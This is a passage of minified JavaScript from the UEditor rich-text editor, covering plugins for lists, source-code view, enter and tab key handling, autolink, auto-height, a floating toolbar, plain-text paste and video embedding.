- a)}(g=e.firstChild())&&("element"==g.type&&"span"==g.tagName&&/^\s*( )+\s*$/.test(g.innerText()))&&g.parentNode.removeChild(g)}})});k.addListener("contentchange",function(){d(k.document)});k.addListener("keydown",function(a,b){function c(){b.preventDefault?b.preventDefault():b.returnValue=!1;k.fireEvent("contentchange");k.undoManger&&k.undoManger.save()}function g(a,b){for(;a&&!e.isBody(a)&&!b(a);){if(1==a.nodeType&&/[ou]l/i.test(a.tagName))return a;a=a.parentNode}return null}var d=b.keyCode||
- b.which;if(13==d&&!b.shiftKey){var l=k.selection.getRange(),f=e.findParent(l.startContainer,function(a){return e.isBlockElm(a)},!0),m=e.findParentByTagName(l.startContainer,"li",!0);f&&("PRE"!=f.tagName&&!m)&&(m=f.innerHTML.replace(RegExp(e.fillChar,"g"),""),/^\s*1\s*\.[^\d]/.test(m)&&(f.innerHTML=m.replace(/^\s*1\s*\./,""),l.setStartAtLast(f).collapse(!0).select(),k.__hasEnterExecCommand=!0,k.execCommand("insertorderedlist"),k.__hasEnterExecCommand=!1));l=k.selection.getRange();f=g(l.startContainer,
- function(a){return"TABLE"==a.tagName});m=l.collapsed?f:g(l.endContainer,function(a){return"TABLE"==a.tagName});if(f&&m&&f===m){if(!l.collapsed)if(f=e.findParentByTagName(l.startContainer,"li",!0),m=e.findParentByTagName(l.endContainer,"li",!0),f&&m&&f===m){if(l.deleteContents(),(m=e.findParentByTagName(l.startContainer,"li",!0))&&e.isEmptyBlock(m)){t=m.previousSibling;next=m.nextSibling;f=k.document.createElement("p");e.fillNode(k.document,f);s=m.parentNode;t&&next?(l.setStart(next,0).collapse(!0).select(!0),
- e.remove(m)):((t||next)&&t?m.parentNode.parentNode.insertBefore(f,s.nextSibling):s.parentNode.insertBefore(f,s),e.remove(m),s.firstChild||e.remove(s),l.setStart(f,0).setCursor());c();return}}else{var f=l.cloneRange(),n=f.collapse(!1).createBookmark();l.deleteContents();f.moveToBookmark(n);m=e.findParentByTagName(f.startContainer,"li",!0);h(m);f.select();c();return}if(m=e.findParentByTagName(l.startContainer,"li",!0)){if(e.isEmptyBlock(m)){var n=l.createBookmark(),s=m.parentNode;m!==s.lastChild?(e.breakParent(m,
- s),h(m)):(s.parentNode.insertBefore(m,s.nextSibling),e.isEmptyNode(s)&&e.remove(s));if(!w.$list[m.parentNode.tagName])if(e.isBlockElm(m.firstChild))e.remove(m,!0);else{f=k.document.createElement("p");for(m.parentNode.insertBefore(f,m);m.firstChild;)f.appendChild(m.firstChild);e.remove(m)}l.moveToBookmark(n).select()}else{f=m.firstChild;if(!f||!e.isBlockElm(f)){f=k.document.createElement("p");for(!m.firstChild&&e.fillNode(k.document,f);m.firstChild;)f.appendChild(m.firstChild);m.appendChild(f)}n=k.document.createElement("span");
- l.insertNode(n);e.breakParent(n,m);t=n.nextSibling;f=t.firstChild;f||(f=k.document.createElement("p"),e.fillNode(k.document,f),t.appendChild(f));e.isEmptyNode(f)&&(f.innerHTML="",e.fillNode(k.document,f));l.setStart(f,0).collapse(!0).shrinkBoundary().select();e.remove(n);var t=t.previousSibling;t&&e.isEmptyBlock(t)&&(t.innerHTML="<p></p>",e.fillNode(k.document,t.firstChild))}c()}}}if(8==d&&(l=k.selection.getRange(),l.collapsed&&e.isStartInblock(l)&&(f=l.cloneRange().trimBoundary(),(m=e.findParentByTagName(l.startContainer,
- "li",!0))&&e.isStartInblock(f))))if((f=e.findParentByTagName(l.startContainer,"p",!0))&&f!==m.firstChild)s=e.findParentByTagName(f,["ol","ul"]),e.breakParent(f,s),h(f),k.fireEvent("contentchange"),l.setStart(f,0).setCursor(!1,!0),k.fireEvent("saveScene"),e.preventDefault(b);else if(m&&(t=m.previousSibling)){if(46!=d||!m.childNodes.length){w.$list[t.tagName]&&(t=t.lastChild);k.undoManger&&k.undoManger.save();f=m.firstChild;if(e.isBlockElm(f))if(e.isEmptyNode(f))for(t.appendChild(f),l.setStart(f,0).setCursor(!1,
- !0);m.firstChild;)t.appendChild(m.firstChild);else n=k.document.createElement("span"),l.insertNode(n),e.isEmptyBlock(t)&&(t.innerHTML=""),e.moveChild(m,t),l.setStartBefore(n).collapse(!0).select(!0),e.remove(n);else if(e.isEmptyNode(m))f=k.document.createElement("p"),t.appendChild(f),l.setStart(f,0).setCursor();else for(l.setEnd(t,t.childNodes.length).collapse().select(!0);m.firstChild;)t.appendChild(m.firstChild);e.remove(m);k.fireEvent("contentchange");k.fireEvent("saveScene");e.preventDefault(b)}}else if(m&&
- !m.previousSibling){s=m.parentNode;n=l.createBookmark();if(e.isTagNode(s.parentNode,"ol ul"))s.parentNode.insertBefore(m,s);else{for(;m.firstChild;)s.parentNode.insertBefore(m.firstChild,s);e.remove(m)}e.isEmptyNode(s)&&e.remove(s);l.moveToBookmark(n).setCursor(!1,!0);k.fireEvent("contentchange");k.fireEvent("saveScene");e.preventDefault(b)}});k.addListener("keyup",function(b,g){if(8==(g.keyCode||g.which)){var d=k.selection.getRange(),l;(l=e.findParentByTagName(d.startContainer,["ol","ul"],!0))&&
- c(l,l.tagName.toLowerCase(),a(l)||e.getComputedStyle(l,"list-style-type"),!0)}});k.addListener("tabkeydown",function(){function g(a){if(-1!=k.options.maxListLevel){a=a.parentNode;for(var b=0;/[ou]l/i.test(a.tagName);)b++,a=a.parentNode;if(b>=k.options.maxListLevel)return!0}}var d=k.selection.getRange(),l=e.findParentByTagName(d.startContainer,"li",!0);if(l){var h;if(d.collapsed){if(g(l))return!0;var f=l.parentNode,n=k.document.createElement(f.tagName),s=p.indexOf(m[n.tagName],a(f)||e.getComputedStyle(f,
- "list-style-type")),s=s+1==m[n.tagName].length?0:s+1,s=m[n.tagName][s];b(n,s);if(e.isStartInblock(d))return k.fireEvent("saveScene"),h=d.createBookmark(),f.insertBefore(n,l),n.appendChild(l),c(n,n.tagName.toLowerCase(),s),k.fireEvent("contentchange"),d.moveToBookmark(h).select(!0),!0}else{k.fireEvent("saveScene");h=d.createBookmark();for(var f=0,t,n=e.findParents(l),r;r=n[f++];)if(e.isTagNode(r,"ol ul")){t=r;break}r=l;if(h.end)for(;r&&!(e.getPosition(r,h.end)&e.POSITION_FOLLOWING);)if(g(r))r=e.getNextDomNode(r,
- !1,null,function(a){return a!==t});else{f=r.parentNode;n=k.document.createElement(f.tagName);s=p.indexOf(m[n.tagName],a(f)||e.getComputedStyle(f,"list-style-type"));s=m[n.tagName][s+1==m[n.tagName].length?0:s+1];b(n,s);for(f.insertBefore(n,r);r&&!(e.getPosition(r,h.end)&e.POSITION_FOLLOWING);){l=r.nextSibling;n.appendChild(r);if(!l||e.isTagNode(l,"ol ul")){if(l)for(;(l=l.firstChild)&&"LI"!=l.tagName;);else l=e.getNextDomNode(r,!1,null,function(a){return a!==t});break}r=l}c(n,n.tagName.toLowerCase(),
- s);r=l}k.fireEvent("contentchange");d.moveToBookmark(h).select();return!0}}});k.commands.insertorderedlist=k.commands.insertunorderedlist={execCommand:function(d,k){k||(k="insertorderedlist"==d.toLowerCase()?"decimal":"disc");var h=this.selection.getRange(),f=function(a){return 1==a.nodeType?"br"!=a.tagName.toLowerCase():!e.isWhitespace(a)},m="insertorderedlist"==d.toLowerCase()?"ol":"ul",n=this.document.createDocumentFragment();h.adjustmentBoundary().shrinkBoundary();var s=h.createBookmark(!0),t=
- g(this.document.getElementById(s.start)),r=0,q=g(this.document.getElementById(s.end)),E=0,z,H,B,A;if(t||q){t&&(z=t.parentNode);s.end||(q=t);q&&(H=q.parentNode);if(z===H){for(;t!==q;){A=t;t=t.nextSibling;if(!e.isBlockElm(A.firstChild)){for(f=this.document.createElement("p");A.firstChild;)f.appendChild(A.firstChild);A.appendChild(f)}n.appendChild(A)}A=this.document.createElement("span");z.insertBefore(A,q);if(!e.isBlockElm(q.firstChild)){for(f=this.document.createElement("p");q.firstChild;)f.appendChild(q.firstChild);
- q.appendChild(f)}n.appendChild(q);e.breakParent(A,z);e.isEmptyNode(A.previousSibling)&&e.remove(A.previousSibling);e.isEmptyNode(A.nextSibling)&&e.remove(A.nextSibling);f=a(z)||e.getComputedStyle(z,"list-style-type")||("insertorderedlist"==d.toLowerCase()?"decimal":"disc");if(z.tagName.toLowerCase()==m&&f==k){for(var f=0,Y=this.document.createDocumentFragment();q=n.childNodes[f++];)if(e.isTagNode(q,"ol ul"))p.each(e.getElementsByTagName(q,"li"),function(a){for(;a.firstChild;)Y.appendChild(a.firstChild)});
- else for(;q.firstChild;)Y.appendChild(q.firstChild);A.parentNode.insertBefore(Y,A)}else B=this.document.createElement(m),b(B,k),B.appendChild(n),A.parentNode.insertBefore(B,A);e.remove(A);B&&c(B,m,k);h.moveToBookmark(s).select();return}if(t){for(;t;){A=t.nextSibling;if(e.isTagNode(t,"ol ul"))n.appendChild(t);else{B=this.document.createDocumentFragment();for(var J=0;t.firstChild;)e.isBlockElm(t.firstChild)&&(J=1),B.appendChild(t.firstChild);J?n.appendChild(B):(J=this.document.createElement("p"),J.appendChild(B),
- n.appendChild(J));e.remove(t)}t=A}z.parentNode.insertBefore(n,z.nextSibling);e.isEmptyNode(z)?(h.setStartBefore(z),e.remove(z)):h.setStartAfter(z);r=1}if(q&&e.inDoc(H,this.document)){for(t=H.firstChild;t&&t!==q;){A=t.nextSibling;if(e.isTagNode(t,"ol ul"))n.appendChild(t);else{B=this.document.createDocumentFragment();for(J=0;t.firstChild;)e.isBlockElm(t.firstChild)&&(J=1),B.appendChild(t.firstChild);J?n.appendChild(B):(J=this.document.createElement("p"),J.appendChild(B),n.appendChild(J));e.remove(t)}t=
- A}A=e.createElement(this.document,"div",{tmpDiv:1});e.moveChild(q,A);n.appendChild(A);e.remove(q);H.parentNode.insertBefore(n,H);h.setEndBefore(H);e.isEmptyNode(H)&&e.remove(H);E=1}}r||h.setStartBefore(this.document.getElementById(s.start));s.end&&!E&&h.setEndAfter(this.document.getElementById(s.end));h.enlarge(!0,function(a){return l[a.tagName]});n=this.document.createDocumentFragment();q=h.createBookmark();z=e.getNextDomNode(q.start,!1,f);t=h.cloneRange();for(H=e.isBlockElm;z&&z!==q.end&&e.getPosition(z,
- q.end)&e.POSITION_PRECEDING;)if(3==z.nodeType||w.li[z.tagName])if(1==z.nodeType&&w.$list[z.tagName]){for(;z.firstChild;)n.appendChild(z.firstChild);r=e.getNextDomNode(z,!1,f);e.remove(z);z=r}else{r=z;for(t.setStartBefore(z);z&&z!==q.end&&(!H(z)||e.isBookmarkNode(z));)r=z,z=e.getNextDomNode(z,!1,null,function(a){return!l[a.tagName]});z&&H(z)&&(A=e.getNextDomNode(r,!1,f))&&e.isBookmarkNode(A)&&(z=e.getNextDomNode(A,!1,f),r=A);t.setEndAfter(r);z=e.getNextDomNode(r,!1,f);A=h.document.createElement("li");
- A.appendChild(t.extractContents());if(e.isEmptyNode(A)){for(r=h.document.createElement("p");A.firstChild;)r.appendChild(A.firstChild);A.appendChild(r)}n.appendChild(A)}else z=e.getNextDomNode(z,!0,f);h.moveToBookmark(q).collapse(!0);B=this.document.createElement(m);b(B,k);B.appendChild(n);h.insertNode(B);c(B,m,k);f=0;for(m=e.getElementsByTagName(B,"div");q=m[f++];)q.getAttribute("tmpDiv")&&e.remove(q,!0);h.moveToBookmark(s).select()},queryCommandState:function(a){a="insertorderedlist"==a.toLowerCase()?
- "ol":"ul";for(var b=this.selection.getStartElementPath(),c=0,g;(g=b[c++])&&"TABLE"!=g.nodeName;)if(a==g.nodeName.toLowerCase())return 1;return 0},queryCommandValue:function(b){b="insertorderedlist"==b.toLowerCase()?"ol":"ul";for(var c=this.selection.getStartElementPath(),g,d=0,l;l=c[d++];){if("TABLE"==l.nodeName){g=null;break}if(b==l.nodeName.toLowerCase()){g=l;break}}return g?a(g)||e.getComputedStyle(g,"list-style-type"):null}}};(function(){var f={textarea:function(a,d){var c=d.ownerDocument.createElement("textarea");
- c.style.cssText="position:absolute;resize:none;width:100%;height:100%;border:0;padding:0;margin:0;overflow-y:auto;";r.ie&&8>r.version&&(c.style.width=d.offsetWidth+"px",c.style.height=d.offsetHeight+"px",d.onresize=function(){c.style.width=d.offsetWidth+"px";c.style.height=d.offsetHeight+"px"});d.appendChild(c);return{setContent:function(a){c.value=a},getContent:function(){return c.value},select:function(){var a;r.ie?(a=c.createTextRange(),a.collapse(!0),a.select()):(c.setSelectionRange(0,0),c.focus())},
- dispose:function(){d.removeChild(c);d=c=d.onresize=null}}},codemirror:function(a,d){var c=window.CodeMirror(d,{mode:"text/html",tabMode:"indent",lineNumbers:!0,lineWrapping:!0}),b=c.getWrapperElement();b.style.cssText='position:absolute;left:0;top:0;width:100%;height:100%;font-family:consolas,"Courier new",monospace;font-size:13px;';c.getScrollerElement().style.cssText="position:absolute;left:0;top:0;width:100%;height:100%;";c.refresh();return{getCodeMirror:function(){return c},setContent:function(a){c.setValue(a)},
- getContent:function(){return c.getValue()},select:function(){c.focus()},dispose:function(){d.removeChild(b);c=b=null}}}};UE.plugins.source=function(){var a=this,d=this.options,c=!1,b;d.sourceEditor=r.ie?"textarea":d.sourceEditor||"codemirror";a.setOpt({sourceEditorFirst:!1});var h,g=a.getContent,k;a.commands.source={execCommand:function(){if(c=!c){k=a.selection.getRange().createAddress(!1,!0);a.undoManger&&a.undoManger.save(!0);r.gecko&&(a.body.contentEditable=!1);h=a.iframe.style.cssText;a.iframe.style.cssText+=
- "position:absolute;left:-32768px;top:-32768px;";a.fireEvent("beforegetcontent");var l=UE.htmlparser(a.body.innerHTML);a.filterOutputRule(l);l.traversal(function(a){if("element"==a.type)switch(a.tagName){case "td":case "th":case "caption":a.children&&1==a.children.length&&"br"==a.firstChild().tagName&&a.removeChild(a.firstChild());break;case "pre":a.innerText(a.innerText().replace(/ /g," "))}});a.fireEvent("aftergetcontent");l=l.toHtml(!0);b=f["codemirror"==d.sourceEditor&&window.CodeMirror?"codemirror":
- "textarea"](a,a.iframe.parentNode);b.setContent(l);setTimeout(function(){b.select();a.addListener("fullscreenchanged",function(){try{b.getCodeMirror().refresh()}catch(a){}})});a.getContent=function(){return b.getContent()||"<p>"+(r.ie?"":"<br/>")+"</p>"}}else if(a.iframe.style.cssText=h,l=b.getContent()||"<p>"+(r.ie?"":"<br/>")+"</p>",l=l.replace(RegExp("[\\r\\t\\n ]*</?(\\w+)\\s*(?:[^>]*)>","g"),function(a,b){return b&&!w.$inlineWithA[b.toLowerCase()]?a.replace(/(^[\n\r\t ]*)|([\n\r\t ]*$)/g,""):
- a.replace(/(^[\n\r\t]*)|([\n\r\t]*$)/g,"")}),a.setContent(l),b.dispose(),b=null,a.getContent=g,l=a.body.firstChild,l||(a.body.innerHTML="<p>"+(r.ie?"":"<br/>")+"</p>",l=a.body.firstChild),a.undoManger&&a.undoManger.save(!0),r.gecko){var m=document.createElement("input");m.style.cssText="position:absolute;left:0;top:-32768px";document.body.appendChild(m);a.body.contentEditable=!1;setTimeout(function(){e.setViewportOffset(m,{left:-32768,top:0});m.focus();setTimeout(function(){a.body.contentEditable=
- !0;a.selection.getRange().moveToAddress(k).select(!0);e.remove(m)})})}else try{a.selection.getRange().moveToAddress(k).select(!0)}catch(s){}this.fireEvent("sourcemodechanged",c)},queryCommandState:function(){return c|0},notNeedUndo:1};var l=a.queryCommandState;a.queryCommandState=function(a){a=a.toLowerCase();return c?a in{source:1,fullscreen:1}?1:-1:l.apply(this,arguments)};"codemirror"==d.sourceEditor&&a.addListener("ready",function(){p.loadFile(document,{src:d.codeMirrorJsUrl||d.UEDITOR_HOME_URL+
- "third-party/codemirror/codemirror.js",tag:"script",type:"text/javascript",defer:"defer"},function(){d.sourceEditorFirst&&setTimeout(function(){a.execCommand("source")},0)});p.loadFile(document,{tag:"link",rel:"stylesheet",type:"text/css",href:d.codeMirrorCssUrl||d.UEDITOR_HOME_URL+"third-party/codemirror/codemirror.css"})})}})();UE.plugins.enterkey=function(){var f,a=this,d=a.options.enterTag;a.addListener("keyup",function(c,b){if(13==(b.keyCode||b.which)){var d=a.selection.getRange(),g=d.startContainer,
- k;if(r.ie)a.fireEvent("saveScene",!0,!0);else{if(/h\d/i.test(f)){if(r.gecko)e.findParentByTagName(g,"h1 h2 h3 h4 h5 h6 blockquote caption table".split(" "),!0)||(a.document.execCommand("formatBlock",!1,"<p>"),k=1);else if(1==g.nodeType){var g=a.document.createTextNode(""),l;d.insertNode(g);if(l=e.findParentByTagName(g,"div",!0)){for(k=a.document.createElement("p");l.firstChild;)k.appendChild(l.firstChild);l.parentNode.insertBefore(k,l);e.remove(l);d.setStartBefore(g).setCursor();k=1}e.remove(g)}a.undoManger&&
- k&&a.undoManger.save()}r.opera&&d.select()}}});a.addListener("keydown",function(c,b){if(13==(b.keyCode||b.which))if(a.fireEvent("beforeenterkeydown"))e.preventDefault(b);else{a.fireEvent("saveScene",!0,!0);f="";var h=a.selection.getRange();if(!h.collapsed){var g=h.startContainer,k=h.endContainer,g=e.findParentByTagName(g,"td",!0),k=e.findParentByTagName(k,"td",!0);if(g&&k&&g!==k||!g&&k||g&&!k){b.preventDefault?b.preventDefault():b.returnValue=!1;return}}if("p"==d)r.ie||((g=e.findParentByTagName(h.startContainer,
- "ol ul p h1 h2 h3 h4 h5 h6 blockquote caption".split(" "),!0))||r.opera?(f=g.tagName,"p"==g.tagName.toLowerCase()&&r.gecko&&e.removeDirtyAttr(g)):(a.document.execCommand("formatBlock",!1,"<p>"),r.gecko&&(h=a.selection.getRange(),(g=e.findParentByTagName(h.startContainer,"p",!0))&&e.removeDirtyAttr(g))));else if(b.preventDefault?b.preventDefault():b.returnValue=!1,h.collapsed)k=h.document.createElement("br"),h.insertNode(k),k.parentNode.lastChild===k?(k.parentNode.insertBefore(k.cloneNode(!0),k),h.setStartBefore(k)):
- h.setStartAfter(k),h.setCursor();else if(h.deleteContents(),g=h.startContainer,1==g.nodeType&&(g=g.childNodes[h.startOffset])){for(;1==g.nodeType;){if(w.$empty[g.tagName])return h.setStartBefore(g).setCursor(),a.undoManger&&a.undoManger.save(),!1;if(!g.firstChild)return k=h.document.createElement("br"),g.appendChild(k),h.setStart(g,0).setCursor(),a.undoManger&&a.undoManger.save(),!1;g=g.firstChild}g===h.startContainer.childNodes[h.startOffset]?(k=h.document.createElement("br"),h.insertNode(k).setCursor()):
- h.setStart(g,0).setCursor()}else k=h.document.createElement("br"),h.insertNode(k).setStartAfter(k).setCursor()}})};UE.plugins.keystrokes=function(){var f=this,a=!0;f.addListener("keydown",function(d,c){var b=c.keyCode||c.which,h=f.selection.getRange();if(!h.collapsed&&!(c.ctrlKey||c.shiftKey||c.altKey||c.metaKey)&&(65<=b&&90>=b||48<=b&&57>=b||96<=b&&111>=b||{13:1,8:1,46:1}[b])){var g=h.startContainer;e.isFillChar(g)&&h.setStartBefore(g);g=h.endContainer;e.isFillChar(g)&&h.setEndAfter(g);h.txtToElmBoundary();
- h.endContainer&&1==h.endContainer.nodeType&&(g=h.endContainer.childNodes[h.endOffset])&&e.isBr(g)&&h.setEndAfter(g);if(0==h.startOffset&&(g=h.startContainer,e.isBoundaryNode(g,"firstChild")&&(g=h.endContainer,h.endOffset==(3==g.nodeType?g.nodeValue.length:g.childNodes.length)&&e.isBoundaryNode(g,"lastChild")))){f.fireEvent("saveScene");f.body.innerHTML="<p>"+(r.ie?"":"<br/>")+"</p>";h.setStart(f.body.firstChild,0).setCursor(!1,!0);f._selectionChange();return}}if(8==b){h=f.selection.getRange();a=h.collapsed;
- if(f.fireEvent("delkeydown",c))return;var k,l;h.collapsed&&h.inFillChar()&&(k=h.startContainer,e.isFillChar(k)?(h.setStartBefore(k).shrinkBoundary(!0).collapse(!0),e.remove(k)):(k.nodeValue=k.nodeValue.replace(RegExp("^"+e.fillChar),""),h.startOffset--,h.collapse(!0).select(!0)));if(k=h.getClosedNode()){f.fireEvent("saveScene");h.setStartBefore(k);e.remove(k);h.setCursor();f.fireEvent("saveScene");e.preventDefault(c);return}if(!r.ie&&(k=e.findParentByTagName(h.startContainer,"table",!0),l=e.findParentByTagName(h.endContainer,
- "table",!0),k&&!l||!k&&l||k!==l)){c.preventDefault();return}}if(9==b){var n={ol:1,ul:1,table:1};if(f.fireEvent("tabkeydown",c)){e.preventDefault(c);return}h=f.selection.getRange();f.fireEvent("saveScene");g=0;k="";l=f.options.tabSize||4;for(var m=f.options.tabNode||" ";g<l;g++)k+=m;g=f.document.createElement("span");g.innerHTML=k+e.fillChar;if(h.collapsed)h.insertNode(g.cloneNode(!0).firstChild).setCursor(!0);else if(k=e.findParent(h.startContainer,s),l=e.findParent(h.endContainer,s),k&&l&&k===
- l)h.deleteContents(),h.insertNode(g.cloneNode(!0).firstChild).setCursor(!0);else{k=h.createBookmark();var s=function(a){return e.isBlockElm(a)&&!n[a.tagName.toLowerCase()]};h.enlarge(!0);l=h.createBookmark();for(m=e.getNextDomNode(l.start,!1,s);m&&!(e.getPosition(m,l.end)&e.POSITION_FOLLOWING);)m.insertBefore(g.cloneNode(!0).firstChild,m.firstChild),m=e.getNextDomNode(m,!1,s);h.moveToBookmark(l).moveToBookmark(k).select()}e.preventDefault(c)}if(r.gecko&&46==b&&(h=f.selection.getRange(),h.collapsed&&
- (k=h.startContainer,e.isEmptyBlock(k)))){for(b=k.parentNode;1==e.getChildCount(b)&&!e.isBody(b);)k=b,b=b.parentNode;k===b.lastChild&&c.preventDefault()}});f.addListener("keyup",function(d,c){var b;if(8==(c.keyCode||c.which)&&!this.fireEvent("delkeyup")){b=this.selection.getRange();if(b.collapsed){var h;if((h=e.findParentByTagName(b.startContainer,"h1 h2 h3 h4 h5 h6".split(" "),!0))&&e.isEmptyBlock(h)){var g=h.previousSibling;if(g&&"TABLE"!=g.nodeName){e.remove(h);b.setStartAtLast(g).setCursor(!1,
- !0);return}if((g=h.nextSibling)&&"TABLE"!=g.nodeName){e.remove(h);b.setStartAtFirst(g).setCursor(!1,!0);return}}e.isBody(b.startContainer)&&(h=e.createElement(this.document,"p",{innerHTML:r.ie?e.fillChar:"<br/>"}),b.insertNode(h).setStart(h,0).setCursor(!1,!0))}!a&&(3==b.startContainer.nodeType||1==b.startContainer.nodeType&&e.isEmptyBlock(b.startContainer))&&(r.ie?(h=b.document.createElement("span"),b.insertNode(h).setStartBefore(h).collapse(!0),b.select(),e.remove(h)):b.select())}})};UE.plugins.fiximgclick=
- function(){var e=this;r.webkit&&e.addListener("click",function(a,d){"IMG"==d.target.tagName&&(new K.Range(e.document)).selectNode(d.target).select()})};UE.plugins.autolink=function(){if(!r.ie){var f=this;f.addListener("reset",function(){});f.addListener("keydown",function(a,d){var c=d.keyCode||d.which;if(32==c||13==c){for(var c=f.selection.getNative(),b=c.getRangeAt(0).cloneRange(),h,g=b.startContainer;1==g.nodeType&&0<b.startOffset;){g=b.startContainer.childNodes[b.startOffset-1];if(!g)break;b.setStart(g,
- 1==g.nodeType?g.childNodes.length:g.nodeValue.length);b.collapse(!0);g=b.startContainer}do{if(0==b.startOffset){for(g=b.startContainer.previousSibling;g&&1==g.nodeType;)g=g.lastChild;if(!g||e.isFillChar(g))break;h=g.nodeValue.length}else g=b.startContainer,h=b.startOffset;b.setStart(g,h-1);h=b.toString().charCodeAt(0)}while(160!=h&&32!=h);if(b.toString().replace(RegExp(e.fillChar,"g"),"").match(/(?:https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)/i)){for(;b.toString().length&&!/^(?:https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)/i.test(b.toString());)try{b.setStart(b.startContainer,
- b.startOffset+1)}catch(k){for(g=b.startContainer;!(next=g.nextSibling);){if(e.isBody(g))return;g=g.parentNode}b.setStart(next,0)}if(!e.findParentByTagName(b.startContainer,"a",!0)){h=f.document.createElement("a");var g=f.document.createTextNode(" "),l;f.undoManger&&f.undoManger.save();h.appendChild(b.extractContents());h.href=h.innerHTML=h.innerHTML.replace(/<[^>]+>/g,"");l=h.getAttribute("href").replace(RegExp(e.fillChar,"g"),"");l=/^(?:https?:\/\/)/ig.test(l)?l:"http://"+l;h.setAttribute("_src",
- p.html(l));h.href=p.html(l);b.insertNode(h);h.parentNode.insertBefore(g,h.nextSibling);b.setStart(g,0);b.collapse(!0);c.removeAllRanges();c.addRange(b);f.undoManger&&f.undoManger.save()}}}})}};UE.plugins.autoheight=function(){function f(){var a=this;clearTimeout(l);n||(l=setTimeout(function(){if(!a.queryCommandState||a.queryCommandState&&1!=a.queryCommandState("source"))c||(c=a.document.createElement("span"),c.style.cssText="display:block;width:0;margin:0;padding:0;border:0;clear:both;",c.innerHTML=
- "."),b=c.cloneNode(!0),a.body.appendChild(b),k=Math.max(e.getXY(b).y+b.offsetHeight,Math.max(g.minFrameHeight,g.initialFrameHeight)),k!=h&&(a.setHeight(k,!0),h=k),e.remove(b)},50))}var a=this;a.autoHeightEnabled=!1!==a.options.autoHeightEnabled;if(a.autoHeightEnabled){var d,c,b,h=0,g=a.options,k,l,n;a.addListener("fullscreenchanged",function(a,b){n=b});a.addListener("destroy",function(){a.removeListener("contentchange afterinserthtml keyup mouseup",f)});a.enableAutoHeight=function(){var a=this;if(a.autoHeightEnabled){var b=
- a.document;a.autoHeightEnabled=!0;d=b.body.style.overflowY;b.body.style.overflowY="hidden";a.addListener("contentchange afterinserthtml keyup mouseup",f);setTimeout(function(){f.call(a)},r.gecko?100:0);a.fireEvent("autoheightchanged",a.autoHeightEnabled)}};a.disableAutoHeight=function(){a.body.style.overflowY=d||"";a.removeListener("contentchange",f);a.removeListener("keyup",f);a.removeListener("mouseup",f);a.autoHeightEnabled=!1;a.fireEvent("autoheightchanged",a.autoHeightEnabled)};a.addListener("ready",
- function(){a.enableAutoHeight();var b;e.on(r.ie?a.body:a.document,r.webkit?"dragover":"drop",function(){clearTimeout(b);b=setTimeout(function(){f.call(this)},100)})})}};UE.plugins.autofloat=function(){function f(){var a=document.body.style;a.backgroundImage='url("about:blank")';a.backgroundAttachment="fixed"}function a(){v=!0;m.parentNode&&m.parentNode.removeChild(m);s.style.cssText=n}function d(){var b=u(c.container),g=c.options.toolbarTopOffset||0;if(0>b.top&&b.bottom-s.offsetHeight>g){var b=e.getXY(s),
- g=e.getComputedStyle(s,"position"),d=e.getComputedStyle(s,"left");s.style.width=s.offsetWidth+"px";s.style.zIndex=1*c.options.zIndex+1;s.parentNode.insertBefore(m,s);k||l&&r.ie?("absolute"!=s.style.position&&(s.style.position="absolute"),s.style.top=(document.body.scrollTop||document.documentElement.scrollTop)-t+h+"px"):(r.ie7Compat&&v&&(v=!1,s.style.left=e.getXY(s).x-document.documentElement.getBoundingClientRect().left+2+"px"),"fixed"!=s.style.position&&(s.style.position="fixed",s.style.top=h+"px",
- ("absolute"==g||"relative"==g)&&parseFloat(d)&&(s.style.left=b.x+"px")))}else a()}var c=this,b=c.getLang();c.setOpt({topOffset:0});var h=c.options.topOffset;if(!1!==c.options.autoFloatEnabled){var g=UE.ui.uiUtils,k=r.ie&&6>=r.version,l=r.quirks,n,m=document.createElement("div"),s,t,u,v=!0,x=p.defer(function(){d()},r.ie?200:100,!0);c.addListener("destroy",function(){e.un(window,["scroll","resize"],d);c.removeListener("keydown",x)});c.addListener("ready",function(){var l;UE.ui?l=1:(alert(b.autofloatMsg),
- l=0);l&&(u=g.getClientRect,s=c.ui.getDom("toolbarbox"),t=u(s).top,n=s.style.cssText,m.style.height=s.offsetHeight+"px",k&&f(),e.on(window,["scroll","resize"],d),c.addListener("keydown",x),c.addListener("beforefullscreenchange",function(b,c){c&&a()}),c.addListener("fullscreenchanged",function(a,b){b||d()}),c.addListener("sourcemodechanged",function(a,b){setTimeout(function(){d()},0)}),c.addListener("clearDoc",function(){setTimeout(function(){d()},0)}))})}};UE.plugins.pasteplain=function(){this.setOpt({pasteplain:!1,
- filterTxtRules:function(){function a(a){a.tagName="p";a.setStyle()}function d(a){a.parentNode.removeChild(a,!0)}return{"-":"script style object iframe embed input select",p:{$:{}},br:{$:{}},div:function(a){for(var b,d=UE.uNode.createElement("p");b=a.firstChild();)"text"!=b.type&&UE.dom.dtd.$block[b.tagName]?d.firstChild()?(a.parentNode.insertBefore(d,a),d=UE.uNode.createElement("p")):a.parentNode.insertBefore(b,a):d.appendChild(b);d.firstChild()&&a.parentNode.insertBefore(d,a);a.parentNode.removeChild(a)},
- ol:d,ul:d,dl:d,dt:d,dd:d,li:d,caption:a,th:a,tr:a,h1:a,h2:a,h3:a,h4:a,h5:a,h6:a,td:function(a){a.innerText()&&a.parentNode.insertAfter(UE.uNode.createText(" "),a);a.parentNode.removeChild(a,a.innerText())}}}()});var e=this.options.pasteplain;this.commands.pasteplain={queryCommandState:function(){return e?1:0},execCommand:function(){e=!e|0},notNeedUndo:1}};UE.plugins.video=function(){function f(a,b,e,g,k,l){return l?'<embed type="application/x-shockwave-flash" class="edui-faked-video" pluginspage="http://www.macromedia.com/go/getflashplayer" src="'+
- a+'" width="'+b+'" height="'+e+'"'+(k?' style="float:'+k+'"':"")+' wmode="transparent" play="true" loop="false" menu="false" allowscriptaccess="never" allowfullscreen="true" >':"<img "+(g?'id="'+g+'"':"")+' width="'+b+'" height="'+e+'" _url="'+a+'" class="edui-faked-video" src="'+d.options.UEDITOR_HOME_URL+'themes/default/images/spacer.gif" style="background:url('+d.options.UEDITOR_HOME_URL+"themes/default/images/videologo.gif) no-repeat center center; border:1px solid gray;"+(k?"float:"+k+";":"")+
